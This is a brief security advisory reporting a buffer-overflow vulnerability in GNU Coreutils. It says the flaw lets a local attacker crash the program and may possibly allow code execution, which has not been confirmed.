GNU Coreutils is prone to a buffer-overflow vulnerability because it fails to properly bounds check user-supplied input.

A local attacker can exploit this issue to crash the affected application, denying service to legitimate users. Due to the nature of this issue, arbitrary code-execution may be possible; however this has not been confirmed.
